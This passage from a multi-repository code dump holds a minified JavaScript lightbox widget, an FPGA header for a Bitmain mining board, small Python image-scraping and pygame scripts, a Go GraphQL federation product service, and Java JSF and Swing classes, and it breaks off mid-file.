e=[cI,b,My,d,h,1/d,Dc].join(c);T(a,TJ,e);T(a,Kd,e);T(a,Pd,e);T(a,je,e);T(a,lA,[oH,90==b?-1/d:1/d,Mc,90==b?d:-d,Nc].join(c))};x.ij=function(a){var b=a.target;IP(b,Nk)?(this.rG(b,90),a.stopPropagation()):IP(b,Lk)?(this.rG(b,180),a.stopPropagation()):IP(b,Mk)&&(this.rG(b,270),a.stopPropagation())};x.rG=function(a,b){this.rh&&HP(this.rh,Pk);this.KB=b;this.rh=a;M(this.rh,Pk);this.Oc.update()}; x.Z9=function(){this.rh&&(HP(this.rh,Pk),this.rh=null);this.KB=null;this.Oc.update()};x.Kba=function(){this.p&&null!=this.KB&&this.p.pj(this.KB);this.jl()};x.cancel=function(){this.jl()};x.jl=function(){this.Z9();this.zb.Qf(VK)};var m9=function(a,b){d9.call(this);this.pa=a;this.Of=b;this.Wx=xS(a).X(jI)};E(m9,d9);x=m9.prototype;x.Ka=function(a){this.p=a;this.dispatchEvent(vn)};x.update=function(){this.dispatchEvent(vn)};x.cancel=function(){this.Of.cancel()};x.finish=function(){this.Of.Kba()}; x.$d=function(){return!(!this.p||!this.p.F().zc())};x.gl=function(){return so};x.il=function(){if(!this.Wx)return No;if(!this.p||!this.p.F().$c()||!this.$d())return Pn;var a=this.p.F().zc(),b=!1;a&&this.Of.rh&&(b=!!a.v(),a=a.getStatus(),b=b&&(a==G0.Mx||a==G0.Lx));return b?so:go};var p9=function(a){a=a||{};var b=c;a=xo+(Vf+V(a.url)+ub+(V(a.link)+tf));return b+(gg+a+Bf)};p9.yb="apps.photos.lightbox.photobrowse.attributionTemplate";var q9=function(a){z1.call(this,new H1(a));this.fc(-1);this.LD=a.get(nz).LD||p9};E(q9,z1);q9.prototype.JM=function(a){a?this.Z.setContent(this.LD({url:a,link:wM(a,60)})):this.Z.setContent(Qg)};var r9=function(a){a=a||{};var b=c;a=bg+(V(a.index)+(Af+(V(a.total)+zf)));return b+(mg+a+Bf)};var s9=function(a){z1.call(this,new H1(a));this.fc(-1)};E(s9,z1);s9.prototype.GK=function(a,b){this.Z.setContent(r9({index:a+1,total:b}))};s9.prototype.clear=function(){this.Z.setContent(c)};var t9=function(a,b){z1.call(this,new C1(a));this.Lk=b;this.S=xS(a);this.Og=a.get(fD);this.Dq=this.S.X(bz);this.$m=this.S.X(zF);this.Qv=this.S.X(Cw);this.QG=this.S.X(Jw);this.RG=this.S.X(Kw);this.Mk=this.S.X(AE);this.wr=this.S.X(cJ);this.LG=this.S.X(ZJ);this.fc(1);var d=new D1(a);a.Gc(IQ,d);this.ib=d;d=new U_(a,1);this.ib.rT(d);this.Sv=new XZ(a,d);this.Sv.Wh(0);this.Eg=new C1(a);this.Eg.fc(1);M(this.Eg.b(),rj);this.LG&&(this.Oc=new j9(a),d=[Mv,NF,mI],this.S.X(FG)&&d.push(mz),this.KG=new b9(a,this.Oc, d,this.Eg.b()));this.$a=new Y6(a,this.KG);this.Eg.ta(this.$a);this.Oc&&this.Oc.sT(this.$a);this.S.X(wI)&&(this.Rk=new U8(a),this.Rk.ub(!1),this.Eg.ta(this.Rk));this.sr=this.wr&&this.S.X(DG);this.Xw=this.wr&&this.S.X(sH);this.tG=this.S.X(SF);this.wr&&(this.$e=new T8(a),this.sr&&(this.uw=new P4(a),this.tw=new E4(a)),this.Xw&&(this.Bg=new M5(a,C(this.$a.cr,this.$a),C(this.$a.qT,this.$a))),(this.sr||this.Xw)&&this.SG(!this.sr));d=new E1(a);M(d.b(),Ui);d.tc(1);d.fc(-1);this.iH=new q9(a);this.Nq=new s9(a); d.ji([this.iH,this.Nq,new H1(a)]);this.bb=new X4(a);this.Nf=new C1(a);this.Nf.fc(1);this.Nf.tc(1);this.Nf.ji([this.Eg,d]);this.Zw=new E1(a);this.Zw.fc(1);d=[this.Nf];this.wr&&this.$e&&d.push(this.$e);this.Zw.ji(d);this.S.X(GG)&&(this.Sf=new n6(a),this.Sf.xn(0),this.Eg.ta(this.Sf));this.S.X(jI)&&(this.Of=new o9(a),this.Eg.ta(this.Of));this.Z.ji([this.Sv,this.Zw]);this.Aa=new bZ(this.b());this.Ze=new LQ(this);this.Cq=new jZ(this.pT,50,this);this.zb=a.get(QB);this.zb.Qf(VK);this.Pv=a.get(Zz);this.Ov= a.get(KQ)};E(t9,z1);x=t9.prototype;x.wm=1;x.ik=-1;x.Hh=-1;x.Gt=!0;x.A=function(){K(this.di);K(this.Oa);K(this.Aa);K(this.Ze);K(this.Cq);K(this.xa);K(this.Oc);K(this.Bg);K(this.Wd);K(this.ye);t9.c.A.call(this)}; x.ya=function(){t9.c.ya.call(this);M(this.b(),wj);var a=this.q();this.Yv=a.createElement(m);M(this.Yv,aj,bj);a.appendChild(this.Nf.b(),this.Yv);this.Mk&&(this.Wd=new uU(this.Yg()),M(this.Wd.b(),Xi,Zi),this.Nf.ta(this.Wd),U(this.Wd.b(),!1),this.ye=new uU(this.Yg()),M(this.ye.b(),Xi,$i),this.Nf.ta(this.ye),U(this.ye.b(),!1))}; x.R=function(){t9.c.R.call(this);M(this.Nf.b(),vj);M(this.Sv.b(),uj);jQ(this.b(),!0);this.Ov.uG().focus();this.b().focus();var a=this.S.Rf(this.b()),b=[],d=[this.$a];this.Mk&&(b.push(a?this.ye:this.Wd),d.push(a?this.Wd:this.ye));this.Oa=new Z5(this.getContext(),this.b(),void 0,void 0,b,d);this.Oa.nS(this.tG);this.EG(!0);this.Oa.dw(this.$a,k1);this.Mk&&(this.Oa.dw(this.Wd,a?a1:b1),this.Oa.dw(this.ye,a?b1:a1));a=this.L();a.j(this.$a,rL,this.lS).j(this.Aa,$C,this.Xh).j(this.zb,eK,this.mS).j(this.Eg.b(), Rx,C(this.dispatchEvent,this,bp)).j(this.Yv,Rx,C(this.dispatchEvent,this,bp));this.$e&&a.j(this.$e,ll,C(this.GG,this,!0)).j(this.$e,ri,C(this.GG,this,!1));this.Bg&&a.j(this.Bg,fv,function(a){this.EG(!a.FG);this.bb.enable(!a.FG)});this.Oc&&(a.j(this.Oc,xm,C(this.dispatchEvent,this,bp)),a.j(this.Oc,$p,this.kS));this.Mk&&I([this.Wd,this.ye],function(a){this.L().j(a.b(),[qE,pE],function(b){JP(a.b(),Yi,b.type==qE)}).j(a.b(),nE,function(b){b.ci(0)&&a.dispatchEvent(Yv)})},this);OQ(function(){this.setData(this.Lk.Zv, this.Lk.Qk,this.Lk.jS,this.Lk.Zc||void 0)},0,this);D()};x.EG=function(a){var b=this.L();a=a?b.j:b.$;a.call(b,this.Oa,Nv,this.LY);a.call(b,this.Oa,Nw,this.MY);a.call(b,this.Oa,Cx,this.KY);a.call(b,this.bb,Ru,this.IY);a.call(b,this.bb,Su,this.dJ);a.call(b,this.bb,Mu,this.JY)}; x.ZV=function(){var a=this.Oa.getPosition(),b=this.xa.g1(this.Pa[a.Fc]),d=this.xa.Ac;1<d&&(this.Nq.GK(b,d),this.bb.wa()?this.bb.update():(this.Nf.ta(this.bb),this.bb.setData(this.xa.Pa,b)),this.bb.setVisible(!0));this.Oa.setPosition(b,this.xa.Pa.length);b!=a.Fc&&this.bb.Vo(b,!0);this.Bl();this.Pa=gN(this.xa.Pa)}; x.setData=function(a,b,d,e){this.xa=(new T5(this.getContext(),a,e)).aW();this.Ze.Na();a=this.xa.qI;this.Ze.j(a,Zk,this.Px);this.Ze.j(a,sp,this.Tx);this.Ze.j(a,Qo,this.$V);this.Dq&&(this.Ze.j(a,Vo,this.Dj).j(a,wm,this.YV),this.L().j(this.xa,Qb,this.ZV),d&&this.xa.to());d=this.xa.Pa.length;this.Oa.enable(b,d);this.Bl();this.Nf.ta(this.bb);this.bb.setData(this.xa.Pa,b);this.bb.setVisible(1<d);this.Pa=gN(this.xa.Pa);this.Nj(b);this.mf(this.xa.F(b),ix)}; x.Bl=function(){if(this.Mk){var a=this.Oa.getPosition().Fc,b=this.Oa.getPosition().nJ;this.tG?(U(this.Wd.b(),1<b),U(this.ye.b(),1<b)):this.S.Rf(this.b())?(U(this.Wd.b(),a!=b-1),U(this.ye.b(),0!=a)):(U(this.Wd.b(),0!=a),U(this.ye.b(),a!=b-1))}};x.ee=function(a,b,d){t9.c.ee.call(this,a,b,d);this.Mk&&(a=this.LG?hS(this.KG.b()).height:0,b=this.bb&&this.bb.wa()?hS(this.bb.b()).height:0,a=hS(this.b()).height-b-a,b=hS(this.Wd.b()).height,a=(a-b)/2,T(this.Wd.b(),NJ,a+rH),T(this.ye.b(),NJ,a+rH))}; x.lS=function(){o0&&D();this.f9?this.dispatchEvent(lq):(this.f9=!0,this.dispatchEvent(Bp));if(-1!=this.ik){var a=this.ik;this.ik=-1;this.Oa.e9(a)}else this.fM()};x.SG=function(a){var b;a&&this.Xw?(b=[this.Bg],this.Bg.kk(!0)):!a&&this.sr&&(b=[this.uw,this.tw],this.Bg&&this.Bg.kk(!1));b&&(this.$e.I7(),this.$e.H7(b))};x.LY=function(a){this.ik=a.key;0==a.rt&&(this.xf=!1);var b=this.xf?sx:ix;a=a.index;var d=this.OA(a>=this.bb.Uc?1:-1);this.Nj(a);this.bb.Vo(a,!0);this.Bl();this.mf(this.xa.F(a),b,d)}; x.OA=function(a){if(this.RG)return-1==a?2:1;if(this.QG)return 3};x.MY=function(){-1!=this.ik&&(this.xf=!0,this.$a.z7());this.Hh=-1};x.KY=function(a){this.xf=!1;a.direction!=this.wm&&(this.Hh=a.index,this.wm=a.direction);if(this.Gt)if(-1==this.Hh)this.fM();else if(this.Hh+=this.wm,0>this.Hh)this.Hh=0;else{this.wm=a.direction;a=this.$a.rJ;for(var b=0;b<a;b++){var d=this.xa.F(this.Hh+b);d&&this.$a.LL([d])}}}; x.Dj=function(a){var b=this.Oa.getPosition(),b=this.xa.F(b.Fc);if(a.target.v()==b.v()){switch(this.zb.xe){case VK:this.$a.Ir();this.$a.Hr();this.$m&&(this.$a.pr(),this.zI(b));break;case GK:this.Sf&&this.Sf.update()}this.Oc&&this.Oc.Ka(b);this.$e&&this.$e.Ka(b);this.Rk&&this.Rk.Ka(b);(a=b.kJ())&&this.$a.lJ(a);this.rX()}};x.Tx=function(){var a=this.Oa.getPosition().Fc;this.Nj(a);this.mf(this.xa.F(a),ix)};x.$V=function(){var a=this.Oa.getPosition().Fc;this.Nj(a);this.mf(this.xa.F(a),ix)}; x.Px=function(a){var b=this.xa.k0(a.target);if(!(0>b)){var d=this.xa.Ac;0==d?this.dispatchEvent(bp):(a=this.Oa.getPosition().Fc,a>b&&a--,a==d&&a--,this.Oa.setPosition(a,d),this.Bl(),this.Nj(a),this.bb.setData(this.xa.Pa,a),this.bb.Vo(a),this.bb.setVisible(1<d),b=void 0,this.RG?b=1:this.QG&&(b=3),this.mf(this.xa.F(a),ix,b))}};x.rX=function(){this.Gt&&this.Dq&&!this.xf&&this.Cq.start()};x.pT=function(){if(this.Gt&&this.Dq&&!this.xf){var a=this.Oa.getPosition().Fc+this.wm;0<=a&&(a=this.xa.F(a))&&a.vy(this.$m)}}; x.fM=function(){if(this.Gt){var a=[],b=0,d=this.Oa.getPosition();if(0<d.Fc){var e=this.xa.F(d.Fc-1);e&&(a[b++]=e)}for(d=d.Fc+1;4>b;b++)(e=this.xa.F(d++))&&(a[b]=e);this.Hh=d-1;this.wm=1;this.$a.LL(a)}};x.JY=function(a){D();this.dJ(a);var b=this.OA(a.Mt());this.mf(this.xa.F(a.Qk),ix,b)};x.IY=function(a){D();this.xf=!1;this.ik=-1;this.Oa.setPosition(a.Qk,this.xa.Pa.length);var b=this.OA(a.Mt());this.mf(this.xa.F(a.Qk),ix,b);this.Cq.stop()}; x.dJ=function(a){this.xf=!1;this.ik=-1;a=a.Qk;this.Oa.setPosition(a,this.xa.Pa.length);this.Bl();this.Nj(a)}; x.mf=function(a,b,d){this.Cq.stop();this.ib.Mg();switch(this.zb.xe){case VK:case gL:this.$a.setData(a,b,d);this.$m&&this.zI(a);break;case GK:this.Sf&&this.Sf.Ka(a);break;case kL:this.Of&&this.Of.cancel()}this.uw&&this.uw.Ka(a);this.tw&&this.tw.Ka(a);this.Oc&&this.Oc.Ka(a);this.Bg&&this.Bg.Ka(a);this.$e&&this.$e.Ka(a);this.Rk&&this.Rk.Ka(a);this.Dq&&!this.xf&&(d?(this.bb.TZ(),this.L().Qc(this.$a,hL,C(function(){this.bb.UZ();a.vy(this.$m)},this))):a.vy(this.$m));this.zb.xe==VK&&this.SZ()}; x.GG=function(a,b){var d=b.target.getAttribute(NI);d&&this.$a.C$(d,a)};x.zI=function(a){if(this.Qv){a=a.F().Fe();var b={};I(a,function(a){4==a.getStatus()&&a.lw()&&a.Rz()&&(a=a.Rz(),b[a.v()]=a)},this);nO(b)||this.ib.Bb(h4(kO(b)))}};x.Nj=function(a){var b=this.xa.Ac;1<b?this.Nq.GK(a,b):this.Nq.clear();this.iH.JM(this.xa.F(a).d3())};x.Xh=function(a){27!=a.keyCode||this.di&&this.di.ra()||(a.stopPropagation(),this.dispatchEvent(bp))}; x.mS=function(a){var b=this.Oa.getPosition(),b=this.xa.F(b.Fc),d=this.zb.OV();a=a.target.xe;var e=d==gL||a==gL,f=d==kL||a==kL;d!=GK&&a!=GK||!this.Sf||(this.Yf||(this.Sf.setVisible(!0),this.Yf=new R4(this.$a.b(),this.Sf.b(),0.25)),a==GK?(this.b().focus(),this.Sf.Ka(b),this.Yf.NV(!0)):(b!=this.$a.getData()&&this.mf(b,ix),this.Yf.PV()));e&&(this.mf(b,ix),this.SG(a==gL));f&&(a==kL?(U(this.$a.b(),!1),U(this.Of.b(),!0),this.b().focus(),b&&this.Of.Ka(b)):(b!=this.$a.getData()&&this.mf(b,ix),U(this.Of.b(), !1),U(this.$a.b(),!0)))};x.YV=function(a){var b=this.Oa.getPosition(),b=this.xa.F(b.Fc);a.target.v()==b.v()&&(this.di||(this.di=new I6(this.getContext()),this.di.render(this.Z.b()),this.L().j(this.di,vH,this.Pw).j(this.di,dw,this.jH)),this.Oa.disable(),this.di.Tv(b))}; x.Pw=function(a){var b=a.DM;if(a=a.P2){this.jH();var d=this.xa.Q2(b);this.bb.setVisible(!0);this.bb.appendData([b]);this.Oa.enable(d,this.xa.Ac);this.Nj(d);this.bb.Vo(d,!0);this.Bl();this.mf(b,ix)}else d=this.Oa.getPosition().Fc,this.xa.Ka(b,d),this.bb.T2(b,d);b.tJ.R2(b,a)};x.kS=function(){var a=this.Oa.getPosition(),a=this.xa.F(a.Fc),b=a.F().XJ();b?(a=b.t2(),b.yM(a?!1:!0),b.xM(b.s2()+(a?-1:1))):(b=new w0,b.yM(!0),b.xM(1),a.F().u2(b))}; x.jH=function(){var a=this.Oa.getPosition();this.Oa.enable(a.Fc,a.nJ)};x.SZ=function(){this.Bda()};x.Bda=function(){var a=this.Oa.getPosition().Fc,b=this.xa.F(a).F().cf(),d=void 0,e;if(e=null!=b)e=null!==b.v();e&&(d=b.v());this.Pv.dispatchEvent(new r0(Po,a,d,this.xa.F(a).v()))};var u9=function(a,b,d){z1.call(this,new C1(a));this.r2=b;this.S=xS(a);this.fc(1);b=this.Z;b.vJ(430);b.wM(660);this.xe=new t9(a,d);b.ta(this.xe);this.Ob=a.get(YC)};E(u9,z1);x=u9.prototype;x.P0=J&&!SN(ff);x.ya=function(){u9.c.ya.call(this);var a=this.q();this.Jn=a.createElement(m);this.Jn.className=Vi;this.S.X(aG)||M(this.Jn,Wi);a.Sw(this.Jn,this.Z.b())};x.R=function(){u9.c.R.call(this);this.L().j(this.b(),Rx,this.kT).j(this.xe,bp,this.jl).j(this.Ob,wy,this.jl)}; x.kT=function(a){a.target==this.Jn&&this.jl()};x.jl=function(){this.r2.close()};x.ee=function(a,b,d){u9.c.ee.call(this,a,b,d);this.P0&&a==jL&&T(this.Jn,UB,b+rH)};var v9=function(a,b){var d=a.get(GQ).q();IZ.call(this,d);this.pa=a;var e=yS(this.pa);this.Lk=b;this.Yd=new lR(this.pa);this.Pv=u0(this.Yd,this);q0(this.Yd);x1(this.Yd);var f=Q0(this.Yd),g=e.XZ;g&&f.$Z(g);w4(this.Yd);t1(this.Yd);e.X(zF)&&(OZ((new YU(d)).ZZ()),n0(d,e.ly),a.get(CQ).YZ(iK).Qs(function(){K(l0)}));this.gi=new XU(this.pa.get(KQ).uG());this.Aa=new bZ;this.Ob=v1(this.Yd);this.SY=d.oi().y};E(v9,IZ);x=v9.prototype; x.A=function(){this.Pv.dispatchEvent(Zn);this.sx.Q();this.gf.Q();this.gi.Q();this.Yd.Q();this.Aa.Q();this.OG(!1);v9.c.A.call(this)};x.oa=function(){v9.c.oa.call(this);var a=this.pa.Lg(JQ);a&&a.uZ();this.Aa.detach()};x.C=function(){var a=this.q().createElement(m);jQ(a,!0);a.className=Pi;var b=this.Yd;b.Gc(DQ,new FS(b,a));this.pf(a)};x.Ld=function(){return!1}; x.R=function(){v9.c.R.call(this);this.dispatchEvent(Jn);this.OG(!0);this.TS();this.SS();var a=this.Yd.Lg(HQ);a&&(this.QS=a.fw(),this.L().j(a,yF,this.US));this.Aa.kj(this.b());this.L().j(this.Aa,$C,this.Xh)};x.TS=function(){var a=this.Yd,b=this.gi,d=this.Yd.get(DQ).xJ(),e;e=void 0;QU||(QU=new IS(MP(top.document)));e=QU;d=d||document.body;a=new PU(a,b,e);d.appendChild(a.b());a.R();this.gf=a}; x.SS=function(){this.sx=new u9(this.Yd,this,this.Lk);this.L().j(this.sx,Bp,function(){OQ(C(this.dispatchEvent,this,lo),0)});this.gf.u_(this.sx)};x.close=function(){this.Q()};x.US=function(a){a.Eia&&this.QS!=a.Vb&&this.close()};x.Xh=function(a){a.stopPropagation()};x.OG=function(a){var b=this.q(),d=a?b.aa.body:b.aa.documentElement;JP(b.aa.documentElement,qj,a);d.scrollTop=this.SY};var w9=function(a){a=a||{};return a=c+(hg+V(a.url)+vb)};w9.yb="blog.lightbox.attributionTemplate";var x9=function(){this.pa=new lR;this.pa.Gc(CQ,new aR(this.pa));this.pa.Gc(GQ,new vR(this.pa,document));new qR(window,this.pa);var a=new vS;a.c7(Ty,!0);this.pa.Gc(nz,a);a.d7(w9)};ML(x9);x9.prototype.show=function(a,b){for(var d=[],e=0;e<a.length;e++){var f=a[e].imageUrl,g=a[e].thumbnailUrl,k=new x3(f);k.L8(new z3(f));g&&k.M8([new y3(g)]);d.push(k)}0<d.length&&(d=new f9(d,b),d=new v9(this.pa,d),this.K8(d),d.render(document.body))};x9.prototype.K8=function(a){this.GR(!0);CO(a,Zn,this.dda,!1,this)}; x9.prototype.dda=function(){this.GR(!1)};var y9=["APPLET",Iz,no,"OBJECT"];x9.prototype.GR=function(a){for(var b=0;b<y9.length;b++)for(var d=NP(document,y9[b],void 0,void 0),e=d.length,f=0;f<e;f++)d[f].style.visibility=a?WB:c};widget_module_provide("lightbox",1,function(a,b){x9.Ja().show(a,b)});widget_module_provide("lightbox"); })() ``` README.md ```EC == electrical center android ```
zer0dayEurope/A8-spi-S2
zer0dayEurope/A8-spi-S2 fpga.h ```#ifndef __FPGA_H__ #define __FPGA_H__ //To fpga type #define NOR_BLOCK 0x01 #define NEW_BLOCK 0x11 #define ASIC_CMD 0x03 #define QEURY_FPGA 0x02 typedef struct { uint8_t block_type; uint8_t reserved1[3]; uint8_t midstate[32]; uint32_t work_id; uint8_t data[12]; } FPGA_WORK; typedef struct { uint8_t cmd_type; uint8_t chain_num; uint8_t reserved1[2]; uint8_t cmd[4]; } FPGA_ASIC_CMD; typedef struct { uint8_t cmd_type; uint8_t reserved1[3]; uint16_t pwm_h; uint16_t pwm_l; uint32_t toctl; uint8_t reserved2[48 - 8]; } FPGA_QUERY; #if 0 typedef struct { uint8_t type; uint8_t reserved0; uint8_t fpga_version; uint8_t pc_version; uint8_t nonce[32]; // 4-35 //uint32_t fifo_space; uint16_t fifo_total; uint16_t have_bytes; uint8_t reserved1; uint8_t fan_exist; uint16_t chain_exist; uint8_t fan_speed[4]; uint32_t nonce1_num; } FPGA_RETURN; #else typedef struct { uint8_t type; uint8_t reserved0; uint8_t fpga_version; uint8_t pc_version; uint16_t fifo_total; uint16_t have_bytes; uint8_t fan_index : 3; uint8_t reserved1 : 5; uint8_t fan_speed; uint16_t chain_exist; uint8_t nonce[40]; // 12-51 } FPGA_RETURN; #endif /******************************* Byte0~3 Byte 4 Byte 5 Byte 6 Byte 7 nonce Work count temperature Reserved ChainNumber ChainNumber的格式如下表所示: Bit[7] :Nonce indicator: 0: invalid 1: valid Bit[6]:Temperature indicator: 0: invalid 1: valid Bit[5:4] Reserved Bit[3:0] number **********************************/ typedef struct { uint32_t nonce; uint16_t work_id; //uint8_t reserved; int8_t temp;; //uint8_t chain_num; uint8_t chain_num : 4; uint8_t reserved1 : 2; uint8_t temp_valid: 1; uint8_t nonce_valid:1; } FPGA_RET_NONCE; extern uint16_t g_FPGA_FIFO_SPACE, g_TOTAL_FPGA_FIFO; extern uint16_t g_FPGA_RESERVE_FIFO_SPACE; extern uint16_t asic_result_wr, asic_result_rd, asic_result_full; extern uint16_t asic_result_status_wr, asic_result_status_rd, asic_result_status_full; extern volatile struct ASIC_RESULT asic_result[512]; #define ASIC_RESULT_NUM (sizeof(asic_result)/sizeof(asic_result[0])) extern uint32_t asic_result_status[512]; #define ASIC_RESULT_STATUS_NUM (sizeof(asic_result_status)/sizeof(asic_result_status[0])) extern int nonce_query(BT_AS_INFO dev); extern int send_work_to_fpga(bool new_block, BT_AS_INFO dev, ASIC_TASK_P asic_work); extern int send_BC_to_fpga(uint8_t chain_num, uint8_t *cmd); extern void clear_fpga_nonce_buffer(BT_AS_INFO dev); extern void set_frequency(BT_AS_INFO dev, unsigned int freq); extern void rev(unsigned char *s, size_t l); extern void detect_chain_num(BT_AS_INFO dev); extern int bitmain_asic_get_status(char* buf, char chain, char mode, char chip_addr, char reg_addr); #endif ```
zer946/Python-from-scratch
zer946/Python-from-scratch README.md ```# Python from scratch ``` 单页爬虫.py ```import requests,re from bs4 import BeautifulSoup url='http://www.xiaohuar.com/list-1-0.html' rp=requests.get(url) rp.encoding='GBK' html=rp.text imgs=re.findall(r'src="(/d/file/\w+/\w+\.jpg)"',html) for i in imgs: img='http://www.xiaohuar.com%s'%i imgname=i.split('/')[-1] file=requests.get(img).content with open (imgname,'wb') as f: f.write(file) print(img) ``` 1.py ```import pygame pygame.init() hero_rect=pygame.Rect(100,50,120,125) print("英雄的原点%d %d"%(hero_rect.x,hero_rect.y)) screen=pygame.display.set_mode() bg=pygame.image.load(r"C:\Users\hp\PycharmProjects\untitled\Python one\Python-from-scratch-----\飞机大战\images\background2.jpg") screen.blit(bg, (0,0)) pygame.display.update her=pygame.image.load() while True: pass pygame.quit()``` 整站爬虫.py ```import requests,re for c in range(13): url='http://www.xiaohuar.com/list-1-%s.html'%c print (url) rp=requests.get(url) rp.encoding='GBK' html=rp.text imgs=re.findall(r'src="(/d/file/\w+/\w+\.jpg)"',html) for i in imgs: img='http://www.xiaohuar.com%s'%i imgname=i.split('/')[-1] file=requests.get(img).content with open (imgname,'wb') as f: f.write(file) print(img) print ('.'*25,c,'.'*50) ``` 实验.py ```for c in range(13): url = 'http://www.xiaohuar.com/list-1-%s.html' % c print(url)```
zerbitx/products
zerbitx/products resolver.go ```package products import ( "context" "io/ioutil" "github.com/pkg/errors" "github.com/zerbitx/federation-demo/products/ptr" ) type ( ProductService interface { ByUPC(string) *Product TopProducts(ctx context.Context, first *int) ([]*Product, error) } Resolver struct { ProductService } queryResolver struct { *Resolver } ) const ( typeNameKey = "__typename" productTypeName = "Product" upcKey = "upc" ) func New(service ProductService) *Resolver { return &Resolver{ ProductService: service, } } func (r *Resolver) Query() QueryResolver { return &queryResolver{r} } func (r *queryResolver) _entities(ctx context.Context, representations []map[string]interface{}) ([]_Entity, error) { var entities []_Entity for _, rep := range representations { typeName, ok := rep[typeNameKey] if !ok { return nil, errors.New("__typename required") } if typeName != productTypeName { return nil, errors.New("Invalid type name, only Products is supported") } if upc := r.ByUPC(rep[upcKey].(string)); upc != nil { entities = append(entities, upc) } } return entities, nil } func (r *queryResolver) _service(ctx context.Context) (*_Service, error) { schema, err := ioutil.ReadFile("./base_schema.graphql") if err != nil { return nil, err } return &_Service{ Sdl: ptr.String(string(schema)), }, nil } func (r *queryResolver) TopProducts(ctx context.Context, first *int) ([]*Product, error) { return r.ProductService.TopProducts(ctx, first) } ``` README.md ```# Products (Apollo Federation example) # Run `go run server/server.go` # Adding to the federation-demo Change ```javascript const gateway = new ApolloGateway({ serviceList: [ { name: "accounts", url: "http://localhost:4001/graphql" }, { name: "reviews", url: "http://localhost:4002/graphql" }, { name: "products", url: "http://localhost:4003/graphql" }, { name: "inventory", url: "http://localhost:4004/graphql" } ] }); ``` To: ```javascript const gateway = new ApolloGateway({ serviceList: [ { name: "accounts", url: "http://localhost:4001/graphql" }, { name: "reviews", url: "http://localhost:4002/graphql" }, { name: "products", url: "http://localhost:8080/query" }, // This line { name: "inventory", url: "http://localhost:4004/graphql" } ] }); ``` Connect to `http://localhost:4000` and play with the queries. ``` products.go ```package service import ( "context" "fmt" "github.com/zerbitx/federation-demo/products" "github.com/zerbitx/federation-demo/products/ptr" ) type ( product struct { inventory []*products.Product } ) func New() *product { return &product{ inventory: []*products.Product{ { Upc: "1", Name: ptr.String("Table"), Price: ptr.Int(899), Weight: ptr.Int(100), }, { Upc: "2", Name: ptr.String("Couch"), Price: ptr.Int(1299), Weight: ptr.Int(1000), }, { Upc: "3", Name: ptr.String("Chair"), Price: ptr.Int(54), Weight: ptr.Int(50), }, }, } } func (p *product) ByUPC(upc string) *products.Product { for _, p := range p.inventory { if p.Upc == upc { return p } } return nil } func (p *product) TopProducts(ctx context.Context, first *int) ([]*products.Product, error) { if *first > len(p.inventory) { *first = len(p.inventory) } var prods []*products.Product for i := 0; i < *first; i++ { fmt.Println("adding", *p.inventory[i].Name) prods = append(prods, p.inventory[i]) } return prods, nil } ```
zergiok/GenesisFinal
zergiok/GenesisFinal TipoProductoConverter.java ```/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package com.genesis.modelo.converters; import com.genesis.modelo.entities.Tipo; import com.genesis.modelo.facade.TipoFacadeLocal; import javax.enterprise.inject.spi.CDI; import javax.faces.component.UIComponent; import javax.faces.context.FacesContext; import javax.faces.convert.Converter; import javax.faces.convert.FacesConverter; /** * * @author Mateo */ @FacesConverter(forClass = Tipo.class, value = "tipoProductoConverter") public class TipoProductoConverter implements Converter{ private TipoFacadeLocal tpfl; public TipoProductoConverter() { tpfl = CDI.current().select(TipoFacadeLocal.class).get(); } @Override public Object getAsObject(FacesContext context, UIComponent component, String value) { if(value != null && value.length() > 0){ return tpfl.find(Integer.valueOf(value)); } return null; } @Override public String getAsString(FacesContext context, UIComponent component, Object value) { if(value != null && value instanceof Tipo){ Tipo tp = (Tipo) value; return tp.getIdTipo().toString(); } return null; } } ``` RegistroPedidoController.java ```/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package com.genesis.pedido.modelo.controller; import com.genesis.modelo.controller.util.MessageUtil; import com.genesis.modelo.entities.Pedido; import com.genesis.modelo.facade.PedidoFacadeLocal; import com.genesis.modelo.facade.UsuarioFacadeLocal; import javax.annotation.PostConstruct; import javax.ejb.EJB; import javax.enterprise.context.RequestScoped; import javax.inject.Named; /** * * @author zergiok */ @Named(value = "registroPedidoController") @RequestScoped public class RegistroPedidoController { @EJB private PedidoFacadeLocal pfl; private Pedido nuevoPedido; public RegistroPedidoController() { } @PostConstruct public void init(){ nuevoPedido = new Pedido(); } public Pedido getNuevoPedido() { return nuevoPedido; } public void setNuevoPedido(Pedido nuevoPedido) { this.nuevoPedido = nuevoPedido; } public void registrar(){ if(nuevoPedido != null){ pfl.create(nuevoPedido); MessageUtil.enviarMensajeInformacion("form-registro", "Registro satisfactorio", "El pedido se ha registrado correctamente."); init(); } else{ MessageUtil.enviarMensajeError("form-registro", "No se han diligenciado los campos", ""); } } } ```
zeritos/Commissions
zeritos/Commissions SwingPanel.java ```package org.application; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JTextField; public class SwingPanel { public static void createAndShowGUI() { JFrame frame = new JFrame("HelloWorldSwing"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); //Add the ubiquitous "Hello World" label. JLabel label = new JLabel("Hello World"); frame.getContentPane().add(label); //Add button and text final JTextField tf=new JTextField(); tf.setBounds(10,10, 50,20); JButton b=new JButton("Click Here"); b.setBounds(50,100,95,30); //Add elements frame.add(b);frame.add(tf); frame.setSize(200,200); //Display the window. //frame.pack(); frame.setVisible(true); } } ``` BaseStruct.java ```package org.application; public class BaseStruct { private String product; private String year; private String tipCover; private String level; private String codCover; private String startDate; private String endDate; private String channel; private String rate; private String table; @Override public String toString() { return "BaseStruct [product=" + product + ", year=" + year + ", tipCover=" + tipCover + ", level=" + level + ", codCover=" + codCover + ", startDate=" + startDate + ", endDate=" + endDate + ", channel=" + channel + ", rate=" + rate + ", table=" + table + "]"; } public String getProduct() { return product; } public void setProduct(String product) { this.product = product; } public BaseStruct (BaseStruct otro) { this(otro.product, otro.year, otro.tipCover, otro.level, otro.codCover, otro.startDate, otro.endDate, otro.channel, otro.rate, otro.table); } public BaseStruct(String product, String year, String tipCover, String level, String codCover, String startDate, String endDate, String channel, String rate, String table) { this.product = product; this.year = year; this.tipCover = tipCover; this.level = level; this.codCover = codCover; this.startDate = startDate; this.endDate = endDate; this.channel = channel; this.rate = rate; this.table = table; } public String escribeSalida () { return product + ";" + year + ";" + tipCover + ";" + level + ";" + codCover + ";" + startDate + ";" + endDate + ";" + channel + ";" + rate + ";" + table; } public String 